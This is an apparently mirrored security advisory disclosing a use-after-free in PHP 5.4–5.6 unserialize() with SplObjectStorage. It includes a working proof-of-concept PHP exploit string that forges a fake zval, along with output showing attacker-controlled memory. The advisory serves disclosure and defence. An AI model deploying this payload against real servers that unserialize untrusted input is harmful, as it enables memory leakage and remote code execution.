Search...

PHP 5.6 / 5.5 / 5.4 SplOnjectStorage unserialize() Use-After-Free

2015-09-07T00:00:00
ID PACKETSTORM:133479
Type packetstorm
Reporter Taoguang Chen
Modified 2015-09-07T00:00:00

Description

                                        
                                            `#Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage  
  
Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:  
2015.8.27 - Release Date: 2015.9.4  
  
> A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.  
  
Affected Versions  
------------  
Affected is PHP 5.6 < 5.6.13  
Affected is PHP 5.5 < 5.5.29  
Affected is PHP 5.4 < 5.4.45  
  
Credits  
------------  
This vulnerability was disclosed by Taoguang Chen.  
  
Description  
------------  
  
```  
ALLOC_INIT_ZVAL(pentry);  
if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) {  
zval_ptr_dtor(&pentry);  
goto outexcept;  
}  
if(Z_TYPE_P(pentry) != IS_OBJECT) {  
goto outexcept;  
}  
ALLOC_INIT_ZVAL(pinf);  
if (*p == ',') { /* new version has inf */  
++p;  
if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) {  
zval_ptr_dtor(&pinf);  
goto outexcept;  
}  
}  
```  
  
It has been demonstrated many times before that __wakeup() leads to  
ZVAL is freed from memory. However during deserialization will still  
allow to use R: or r: to set references to that already freed memory.  
It is possible to use-after-free attack and execute arbitrary code  
remotely.  
  
Proof of Concept Exploit  
------------  
The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.  
  
```  
<?php  
  
class obj {  
var $ryat;  
function __wakeup() {  
$this->ryat = 1;  
}  
}  
  
$fakezval = ptr2str(1122334455);  
$fakezval .= ptr2str(0);  
$fakezval .= "\x00\x00\x00\x00";  
$fakezval .= "\x01";  
$fakezval .= "\x00";  
$fakezval .= "\x00\x00";  
  
$inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}';  
$exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';  
  
$data = unserialize($exploit);  
  
var_dump($data);  
  
function ptr2str($ptr)  
{  
$out = '';  
for ($i = 0; $i < 8; $i++) {  
$out .= chr($ptr & 0xff);  
$ptr >>= 8;  
}  
return $out;  
}  
  
?>  
```  
  
Test the PoC on the command line:  
  
```  
$ php uafpoc.php  
array(5) {  
[0]=>  
int(1)  
[1]=>  
&int(1)  
[2]=>  
object(obj)#3 (1) {  
["ryat"]=>  
&int(1)  
}  
[3]=>  
int(1122334455) <=== so we can control the memory and create fake ZVAL :)  
[4]=>  
string(24) "?v?B????"  
}  
```  
  
  
`
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by